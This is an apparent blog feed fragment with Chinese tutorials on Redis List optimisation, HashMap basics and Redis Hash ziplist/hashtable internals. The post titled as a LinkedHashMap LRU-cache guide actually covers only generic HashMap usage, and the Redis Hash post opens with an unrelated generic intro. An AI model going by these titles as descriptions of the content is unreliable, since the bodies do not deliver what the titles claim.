<span class="title class_">TaskQueue</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">TASK_QUEUE</span> <span class="operator">=</span> <span class="string">&quot;task:queue&quot;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">submitTask</span><span class="params">(String taskJson)</span> &#123;</span><br><span class="line">        redis.opsForList().rightPush(TASK_QUEUE, taskJson);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">processTasks</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">            <span class="comment">// 非阻塞消费</span></span><br><span class="line">            <span class="type">String</span> <span class="variable">task</span> <span class="operator">=</span> redis.opsForList().leftPop(TASK_QUEUE);</span><br><span class="line">            <span class="keyword">if</span> (task == <span class="literal">null</span>) &#123;</span><br><span class="line">                Thread.sleep(<span class="number">1000</span>);</span><br><span class="line">                <span class="keyword">continue</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            executeTask(task);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="七、List性能优化"><a href="#七、List性能优化" class="headerlink" title="七、List性能优化"></a>七、List性能优化</h2><p>#</p><h2 id="7-1-避免大List"><a href="#7-1-避免大List" class="headerlink" title="7.1 避免大List"></a>7.1 避免大List</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 不好的做法：无限制增长</span></span><br><span class="line">redis.lpush(<span class="string">&quot;big:list&quot;</span>, value);  <span class="comment">// 从不清理</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 好的做法：控制大小</span></span><br><span class="line">redis.lpush(<span class="string">&quot;list&quot;</span>, value);</span><br><span class="line">redis.ltrim(<span class="string">&quot;list&quot;</span>, <span class="number">0</span>, <span class="number">999</span>);  <span class="comment">// 只保留1000条</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-2-批量操作"><a href="#7-2-批量操作" class="headerlink" title="7.2 批量操作"></a>7.2 批量操作</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 不好的做法：循环插入</span></span><br><span class="line"><span class="keyword">for</span> (String item : items) &#123;</span><br><span class="line">    redis.lpush(<span class="string">&quot;list&quot;</span>, item);  <span class="comment">// 每次网络往返</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 好的做法：使用Pipeline</span></span><br><span class="line">redis.executePipelined((RedisCallback&lt;Object&gt;) connection -&gt; &#123;</span><br><span class="line">    <span class="keyword">for</span> (String item : items) &#123;</span><br><span class="line">        connection.lPush(<span class="string">&quot;list&quot;</span>.getBytes(), item.getBytes());</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-3-慎用LINDEX深索引"><a href="#7-3-慎用LINDEX深索引" class="headerlink" title="7.3 慎用LINDEX深索引"></a>7.3 慎用LINDEX深索引</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 越靠近中间越慢（O(n)）</span></span><br><span class="line">LINDEX list 0       <span class="comment"># 快（头部）</span></span><br><span class="line">LINDEX list -1      <span class="comment"># 快（尾部）</span></span><br><span class="line">LINDEX list 50000   <span class="comment"># 慢（中间）</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-4-List分片"><a href="#7-4-List分片" class="headerlink" title="7.4 List分片"></a>7.4 List分片</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 超大List分片存储</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">addToShardList</span><span class="params">(String key, String value)</span> &#123;</span><br><span class="line">    <span class="comment">// 获取当前分片</span></span><br><span class="line">    <span class="type">String</span> <span class="variable">shardKey</span> <span class="operator">=</span> getCurrentShard(key);</span><br><span class="line">    <span class="type">Long</span> <span class="variable">size</span> <span class="operator">=</span> redis.opsForList().size(shardKey);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 如果当前分片已满，创建新分片</span></span><br><span class="line">    <span class="keyword">if</span> (size != <span class="literal">null</span> &amp;&amp; size &gt;= <span class="number">10000</span>) &#123;</span><br><span class="line">        shardKey = createNewShard(key);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    redis.opsForList().leftPush(shardKey, value);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="八、常见问题"><a href="#八、常见问题" class="headerlink" title="八、常见问题"></a>八、常见问题</h2><p>#</p><h2 id="8-1-List的最大长度"><a href="#8-1-List的最大长度" class="headerlink" title="8.1 List的最大长度"></a>8.1 List的最大长度</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">理论限制：约40亿个元素（2^32 - 1）</span><br><span class="line">实际限制：内存大小</span><br><span class="line"></span><br><span class="line">建议：单个List不超过10000个元素</span><br></pre></td></tr></table></figure><p>#</p><h2 id="8-2-阻塞操作的超时"><a href="#8-2-阻塞操作的超时" class="headerlink" title="8.2 阻塞操作的超时"></a>8.2 阻塞操作的超时</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 超时时间不要太短（减少CPU消耗）</span></span><br><span class="line"><span class="comment">// 好的做法：30-60秒</span></span><br><span class="line">redis.opsForList().rightPop(<span class="string">&quot;queue&quot;</span>, <span class="number">30</span>, TimeUnit.SECONDS);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 不好的做法：1秒（频繁空转）</span></span><br><span class="line">redis.opsForList().rightPop(<span class="string">&quot;queue&quot;</span>, <span class="number">1</span>, TimeUnit.SECONDS);</span><br></pre></td></tr></table></figure><p>#</p><h2 id="8-3-阻塞与事务"><a href="#8-3-阻塞与事务" class="headerlink" title="8.3 阻塞与事务"></a>8.3 阻塞与事务</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 阻塞命令不能在MULTI/EXEC中使用</span></span><br><span class="line">MULTI</span><br><span class="line">BLPOP queue 30    <span class="comment"># 错误！会立即返回nil</span></span><br><span class="line">EXEC</span><br></pre></td></tr></table></figure><h2 id="九、总结"><a href="#九、总结" class="headerlink" title="九、总结"></a>九、总结</h2><table><thead><tr><th>特性</th><th>Quicklist</th></tr></thead><tbody><tr><td>结构</td><td>ziplist + 双向链表</td></tr><tr><td>头部/尾部操作</td><td>O(1)</td></tr><tr><td>中间插入/删除</td><td>O(n)</td></tr><tr><td>索引访问</td><td>O(n)</td></tr><tr><td>内存</td><td>连续内存 + 指针开销</td></tr></tbody></table><p>List使用建议：</p><ol><li><strong>LPUSH + LTRIM</strong>：实现固定大小的最新列表</li><li><strong>BRPOP</strong>：实现高效的消息队列</li><li><strong>控制大小</strong>：避免List无限增长</li><li><strong>两端操作优先</strong>：避免中间操作</li><li><strong>考虑Stream</strong>：需要持久化和消费者组时，用Stream替代List</li></ol><p>Quicklist的设计体现了Redis的核心思想：在内存和性能之间寻找最佳平衡点。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>LinkedHashMap 如何实现 LRU 缓存</title>
      <link href="//linkedhashmap-ru-he-shi-xian-lru-huan-cun/"/>
      <url>//linkedhashmap-ru-he-shi-xian-lru-huan-cun/</url>
      
        <content type="html"><![CDATA[<h1 id="LinkedHashMap-如何实现-LRU-缓存"><a href="#LinkedHashMap-如何实现-LRU-缓存" class="headerlink" title="LinkedHashMap 如何实现 LRU 缓存"></a>LinkedHashMap 如何实现 LRU 缓存</h1><p>HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">userMap.put(<span class="number">1L</span>, <span class="string">&quot;小乐&quot;</span>);</span><br><span class="line">userMap.put(<span class="number">2L</span>, <span class="string">&quot;张三&quot;</span>);</span><br><span class="line">System.out.println(userMap.get(<span class="number">1L</span>));</span><br></pre></td></tr></table></figure><p>HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。</p><h2 id="扩容为什么要注意"><a href="#扩容为什么要注意" class="headerlink" title="扩容为什么要注意"></a>扩容为什么要注意</h2><p>默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">1024</span>);</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。</li><li>自定义对象作为 key 时，要正确重写 equals 和 hashCode。</li><li>不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。</li></ul>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis Hash与Ziplist优化</title>
      <link href="//redis-hash-ziplist-optimization/"/>
      <url>//redis-hash-ziplist-optimization/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-Hash与Ziplist优化"><a href="#Redis-Hash与Ziplist优化" class="headerlink" title="Redis Hash与Ziplist优化"></a>Redis Hash与Ziplist优化</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、Hash的编码方式"><a href="#一、Hash的编码方式" class="headerlink" title="一、Hash的编码方式"></a>一、Hash的编码方式</h2><p>Redis Hash有两种底层编码：</p><table><thead><tr><th>编码</th><th>结构</th><th>适用场景</th></tr></thead><tbody><tr><td>ziplist</td><td>压缩列表</td><td>字段少、值小的Hash</td></tr><tr><td>hashtable</td><td>哈希表</td><td>字段多或值大的Hash</td></tr></tbody></table><p>#</p><h2 id="1-1-编码转换条件"><a href="#1-1-编码转换条件" class="headerlink" title="1.1 编码转换条件"></a>1.1 编码转换条件</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">默认配置（redis.conf）：</span><br><span class="line">hash-max-ziplist-entries 512    # ziplist最多512个entry</span><br><span class="line">hash-max-ziplist-value 64       # 每个value最大64字节</span><br></pre></td></tr></table></figure><p>转换规则：</p><ul><li>Hash满足条件：使用ziplist</li><li>任一条件不满足：转换为hashtable</li><li><strong>转换是单向的</strong>：ziplist → hashtable后不会回退</li></ul><h2 id="二、Ziplist详解"><a href="#二、Ziplist详解" class="headerlink" title="二、Ziplist详解"></a>二、Ziplist详解</h2><p>#</p><h2 id="2-1-Ziplist结构"><a href="#2-1-Ziplist结构" class="headerlink" title="2.1 Ziplist结构"></a>2.1 Ziplist结构</h2><p>Ziplist是紧凑的连续内存结构：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">整体布局：</span><br><span class="line">┌─────────┬─────────┬─────────────────────┬─────────┐</span><br><span class="line">│ zlbytes │ zltail  │  zllen  │  entries  │  zlend  │</span><br><span class="line">│ 4字节   │ 4字节   │  2字节  │   变长    │  1字节  │</span><br><span class="line">└─────────┴─────────┴─────────┴───────────┴─────────┘</span><br><span class="line"></span><br><span class="line">各字段说明：</span><br><span class="line">- zlbytes: 整个ziplist占用的字节数</span><br><span class="line">- zltail: 到最后一个entry的偏移量（方便快速定位尾部）</span><br><span class="line">- zllen: entry数量（超过65535时需遍历统计）</span><br><span class="line">- entries: 实际的entry列表</span><br><span class="line">- zlend: 结束标记，固定为0xFF</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-Entry结构"><a href="#2-2-Entry结构" class="headerlink" title="2.2 Entry结构"></a>2.2 Entry结构</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">每个Entry的格式：</span><br><span class="line">┌─────────────────┬─────────────────┬─────────────────┐</span><br><span class="line">│   prevlen       │   encoding      │     content     │</span><br><span class="line">│  1或5字节       │  1或2或5字节    │     变长        │</span><br><span class="line">└─────────────────┴─────────────────┴─────────────────┘</span><br><span class="line"></span><br><span class="line">prevlen: 前一个entry的长度（方便倒序遍历）</span><br><span class="line">encoding: 编码信息，包含content类型和长度</span><br><span class="line">content: 实际数据（整数或字符串）</span><br></pre></td></tr></table></figure><p><strong>prevlen的连锁更新问题</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">当前entry的prevlen是1字节（记录前entry长度&lt;254）</span><br><span class="line">如果前entry增大到&gt;=254字节</span><br><span class="line">→ 当前entry的prevlen需从1字节扩展到5字节</span><br><span class="line">→ 可能导致当前entry也变长</span><br><span class="line">→ 下一个entry的prevlen可能也要扩展</span><br><span class="line">→ 连锁反应！</span><br></pre></td></tr></table></figure><p>这是ziplist的已知缺陷，在大量entry且值大小波动时可能触发。</p><p>#</p><h2 id="2-3-Ziplist的优缺点"><a href="#2-3-Ziplist的优缺点" class="headerlink" title="2.3 Ziplist的优缺点"></a>2.3 Ziplist的优缺点</h2><p><strong>优点</strong>：</p><ul><li>内存紧凑，无额外指针开销</li><li>适合小数据量场景</li><li>CPU缓存友好（连续内存）</li></ul><p><strong>缺点</strong>：</p><ul><li>插入/删除可能需要重新分配内存</li><li>连锁更新问题</li><li>查找特定字段O(n)（线性查找）</li></ul><h2 id="三、Hashtable详解"><a href="#三、Hashtable详解" class="headerlink" title="三、Hashtable详解"></a>三、Hashtable详解</h2><p>#</p><h2 id="3-1-字典结构"><a href="#3-1-字典结构" class="headerlink" title="3.1 字典结构"></a>3.1 字典结构</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">dict</span> &#123;</span></span><br><span class="line">    dictType *type;      <span class="comment">// 类型特定函数</span></span><br><span class="line">    <span class="type">void</span> *privdata;      <span class="comment">// 私有数据</span></span><br><span class="line">    dictht ht[<span class="number">2</span>];        <span class="comment">// 两个哈希表（用于渐进式rehash）</span></span><br><span class="line">    <span class="type">int</span> rehashidx;       <span class="comment">// rehash进度（-1表示不在rehash）</span></span><br><span class="line">&#125; dict;</span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">dictht</span> &#123;</span></span><br><span class="line">    dictEntry **table;   <span class="comment">// 哈希表数组</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> size;  <span class="comment">// 表大小</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> sizemask;  <span class="comment">// 掩码 = size - 1</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> used;  <span class="comment">// 已有节点数</span></span><br><span class="line">&#125; dictht;</span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">dictEntry</span> &#123;</span></span><br><span class="line">    <span class="type">void</span> *key;           <span class="comment">// 键（sds）</span></span><br><span class="line">    <span class="class"><span class="keyword">union</span> &#123;</span></span><br><span class="line">        <span class="type">void</span> *val;</span><br><span class="line">        <span class="type">uint64_t</span> u64;</span><br><span class="line">        <span class="type">int64_t</span> s64;</span><br><span class="line">    &#125; v;                 <span class="comment">// 值</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">dictEntry</span> *<span class="title">next</span>;</span>  <span class="comment">// 拉链法解决冲突</span></span><br><span class="line">&#125; dictEntry;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-哈希算法"><a href="#3-2-哈希算法" class="headerlink" title="3.2 哈希算法"></a>3.2 哈希算法</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">// MurmurHash2算法</span></span><br><span class="line"><span class="type">uint64_t</span> <span class="title function_">dictGenHashFunction</span><span class="params">(<span class="type">const</span> <span class="type">void</span> *key, <span class="type">int</span> len)</span> &#123;</span><br><span class="line">    <span class="comment">// ... MurmurHash2实现</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 计算索引</span></span><br><span class="line">idx = hash(key) &amp; d-&gt;ht[<span class="number">0</span>].sizemask;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-3-渐进式Rehash"><a href="#3-3-渐进式Rehash" class="headerlink" title="3.3 渐进式Rehash"></a>3.3 渐进式Rehash</h2><p>当哈希表负载因子超过阈值时，需要扩容：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">触发条件：</span><br><span class="line">- 没有执行BGSAVE/BGREWRITEAOF时，负载因子 &gt;= 1</span><br><span class="line">- 执行BGSAVE/BGREWRITEAOF时，负载因子 &gt;= 5</span><br><span class="line"></span><br><span class="line">负载因子 = used / size</span><br></pre></td></tr></table></figure><p><strong>渐进式Rehash流程</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">初始状态：</span><br><span class="line">  ht[0]: 大小4，已用3</span><br><span class="line">  ht[1]: 空</span><br><span class="line">  rehashidx: -1</span><br><span class="line"></span><br><span class="line">开始rehash：</span><br><span class="line">  1. 为ht[1]分配大小为8的空间</span><br><span class="line">  2. rehashidx = 0</span><br><span class="line">  </span><br><span class="line">增删查时渐进迁移：</span><br><span class="line">  - 每次操作将ht[0]中rehashidx位置的桶迁移到ht[1]</span><br><span class="line">  - rehashidx++</span><br><span class="line">  </span><br><span class="line">完成时：</span><br><span class="line">  - ht[0] = ht[1]</span><br><span class="line">  - ht[1] 清空</span><br><span class="line">  - rehashidx = -1</span><br></pre></td></tr></table></figure><p><strong>优势</strong>：</p><ul><li>避免一次性rehash的长时间阻塞</li><li>分摊到每次操作中</li></ul><h2 id="四、Hash命令的实现"><a href="#四、Hash命令的实现" class="headerlink" title="四、Hash命令的实现"></a>四、Hash命令的实现</h2><p>#</p><h2 id="4-1-HSET的实现"><a href="#4-1-HSET的实现" class="headerlink" title="4.1 HSET的实现"></a>4.1 HSET的实现</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">hsetCommand</span><span class="params">(client *c)</span> &#123;</span><br><span class="line">    robj *o;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 查找或创建Hash对象</span></span><br><span class="line">    <span class="keyword">if</span> ((o = hashTypeLookupWriteOrCreate(c, c-&gt;argv[<span class="number">1</span>])) == <span class="literal">NULL</span>) <span class="keyword">return</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 检查是否需要从ziplist转换为hashtable</span></span><br><span class="line">    hashTypeTryConversion(o, c-&gt;argv, <span class="number">2</span>, <span class="number">3</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 设置字段</span></span><br><span class="line">    hashTypeSet(o, c-&gt;argv[<span class="number">2</span>]-&gt;ptr, c-&gt;argv[<span class="number">3</span>]-&gt;ptr, HASH_SET_COPY);</span><br><span class="line">    </span><br><span class="line">    addReply(c, shared.ok);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-编码转换检查"><a href="#4-2-编码转换检查" class="headerlink" title="4.2 编码转换检查"></a>4.2 编码转换检查</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">hashTypeTryConversion</span><span class="params">(robj *o, robj **argv, <span class="type">int</span> start, <span class="type">int</span> end)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (o-&gt;encoding != OBJ_ENCODING_ZIPLIST) <span class="keyword">return</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = start; i &lt;= end; i++) &#123;</span><br><span class="line">        <span class="comment">// 检查字段或值是否超过64字节</span></span><br><span class="line">        <span class="keyword">if</span> (sdslen(argv[i]-&gt;ptr) &gt; server.hash_max_ziplist_value) &#123;</span><br><span class="line">            <span class="comment">// 转换为hashtable</span></span><br><span class="line">            hashTypeConvert(o, OBJ_ENCODING_HT);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-3-HGETALL的实现"><a href="#4-3-HGETALL的实现" class="headerlink" title="4.3 HGETALL的实现"></a>4.3 HGETALL的实现</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">hgetallCommand</span><span class="params">(client *c)</span> &#123;</span><br><span class="line">    robj *o = lookupKeyReadOrReply(c, c-&gt;argv[<span class="number">1</span>], shared.null[c-&gt;resp]);</span><br><span class="line">    <span class="keyword">if</span> (o == <span class="literal">NULL</span> || checkType(c, o, OBJ_HASH)) <span class="keyword">return</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 扩容回复数组</span></span><br><span class="line">    addReplyArrayLen(c, hashTypeLength(o) * <span class="number">2</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 遍历所有字段</span></span><br><span class="line">    hashTypeIterator *hi = hashTypeInitIterator(o);</span><br><span class="line">    <span class="keyword">while</span> (hashTypeNext(hi) != C_ERR) &#123;</span><br><span class="line">        <span class="comment">// 回复field</span></span><br><span class="line">        addReplyBulkCBuffer(c, hi-&gt;zk, hi-&gt;klen);</span><br><span class="line">        <span class="comment">// 回复value</span></span><br><span class="line">        addReplyBulkCBuffer(c, hi-&gt;zv, hi-&gt;vlen);</span><br><span class="line">    &#125;</span><br><span class="line">    hashTypeReleaseIterator(hi);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、内存优化实践"><a href="#五、内存优化实践" class="headerlink" title="五、内存优化实践"></a>五、内存优化实践</h2><p>#</p><h2 id="5-1-合理设置ziplist阈值"><a href="#5-1-合理设置ziplist阈值" class="headerlink" title="5.1 合理设置ziplist阈值"></a>5.1 合理设置ziplist阈值</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># redis.conf</span><br><span class="line"></span><br><span class="line"># 如果Hash字段多但值小，可以增大entries限制</span><br><span class="line">hash-max-ziplist-entries 1000</span><br><span class="line">hash-max-ziplist-value 128</span><br><span class="line"></span><br><span class="line"># 如果Hash字段少但值大，保持默认值或减小</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-控制Hash的字段数量"><a href="#5-2-控制Hash的字段数量" class="headerlink" title="5.2 控制Hash的字段数量"></a>5.2 控制Hash的字段数量</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 不好的做法：单个Hash存储大量字段</span></span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">100000</span>; i++) &#123;</span><br><span class="line">    redis.hset(<span class="string">&quot;big:hash&quot;</span>, <span class="string">&quot;field&quot;</span> + i, <span class="string">&quot;value&quot;</span> + i);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 最终会转换为hashtable，且单个key过大</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 好的做法：分片存储</span></span><br><span class="line"><span class="type">int</span> <span class="variable">shardCount</span> <span class="operator">=</span> <span class="number">100</span>;</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">100000</span>; i++) &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">shard</span> <span class="operator">=</span> i % shardCount;</span><br><span class="line">    redis.hset(<span class="string">&quot;hash:shard:&quot;</span> + shard, <span class="string">&quot;field&quot;</span> + i, <span class="string">&quot;value&quot;</span> + i);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 每个Hash最多1000个字段，保持ziplist编码</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-使用Hash替代String存储对象"><a href="#5-3-使用Hash替代String存储对象" class="headerlink" title="5.3 使用Hash替代String存储对象"></a>5.3 使用Hash替代String存储对象</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// String方式（每个对象一个JSON）</span></span><br><span class="line"><span class="comment">// key: user:1001, value: &#123;&quot;name&quot;:&quot;Alice&quot;,&quot;age&quot;:25,&quot;city&quot;:&quot;Beijing&quot;&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// Hash方式</span></span><br><span class="line"><span class="comment">// key: user:1001, field-value pairs</span></span><br><span class="line"><span class="comment">//  内存对比（假设100万用户）：</span></span><br><span class="line"><span class="comment">//  String: 约200MB</span></span><br><span class="line"><span class="comment">//  Hash:   约120MB（ziplist节省大量元数据）</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-4-查看编码信息"><a href="#5-4-查看编码信息" class="headerlink" title="5.4 查看编码信息"></a>5.4 查看编码信息</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看Hash的编码方式</span></span><br><span class="line">OBJECT ENCODING user:1001</span><br><span class="line"><span class="comment"># 输出: &quot;ziplist&quot; 或 &quot;hashtable&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看内存占用</span></span><br><span class="line">MEMORY USAGE user:1001</span><br><span class="line"><span class="comment"># 输出: (integer) 128</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看详细信息</span></span><br><span class="line">DEBUG OBJECT user:1001</span><br><span class="line"><span class="comment"># 输出: value at:... encoding:ziplist serializedlength:86 ...</span></span><br></pre></td></tr></table></figure><h2 id="六、性能测试对比"><a href="#六、性能测试对比" class="headerlink" title="六、性能测试对比"></a>六、性能测试对比</h2><p>#</p><h2 id="6-1-Ziplist-vs-Hashtable"><a href="#6-1-Ziplist-vs-Hashtable" class="headerlink" title="6.1 Ziplist vs Hashtable"></a>6.1 Ziplist vs Hashtable</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 测试小Hash（ziplist）</span></span><br><span class="line">redis-benchmark -n 100000 HSET small:<span class="built_in">hash</span> field value</span><br><span class="line"><span class="comment"># 结果：约50000 ops/sec</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 测试大Hash（hashtable）</span></span><br><span class="line">redis-benchmark -n 100000 HSET big:<span class="built_in">hash</span> field1000 value1000</span><br><span class="line"><span class="comment"># 先构造1000个字段使其转换为hashtable</span></span><br><span class="line"><span class="comment"># 结果：约40000 ops/sec</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 小Hash查询更快（CPU缓存友好）</span></span><br><span class="line">redis-benchmark -n 100000 HGET small:<span class="built_in">hash</span> field</span><br><span class="line"><span class="comment"># 结果：约60000 ops/sec</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-2-编码转换的影响"><a href="#6-2-编码转换的影响" class="headerlink" title="6.2 编码转换的影响"></a>6.2 编码转换的影响</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 监控编码转换（通过INFO命令）</span></span><br><span class="line">INFO COMMANDSTATS</span><br><span class="line"><span class="comment"># 查看HSET命令的耗时变化</span></span><br></pre></td></tr></table></figure><h2 id="七、Hash应用优化"><a href="#七、Hash应用优化" class="headerlink" title="七、Hash应用优化"></a>七、Hash应用优化</h2><p>#</p><h2 id="7-1-购物车优化"><a href="#7-1-购物车优化" class="headerlink" title="7.1 购物车优化"></a>7.1 购物车优化</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CartService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">CART_EXPIRE_DAYS</span> <span class="operator">=</span> <span class="number">7</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">addToCart</span><span class="params">(Long userId, Long skuId, Integer quantity)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;cart:&quot;</span> + userId;</span><br><span class="line">        <span class="type">String</span> <span class="variable">field</span> <span class="operator">=</span> String.valueOf(skuId);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 使用hincrby实现数量累加</span></span><br><span class="line">        <span 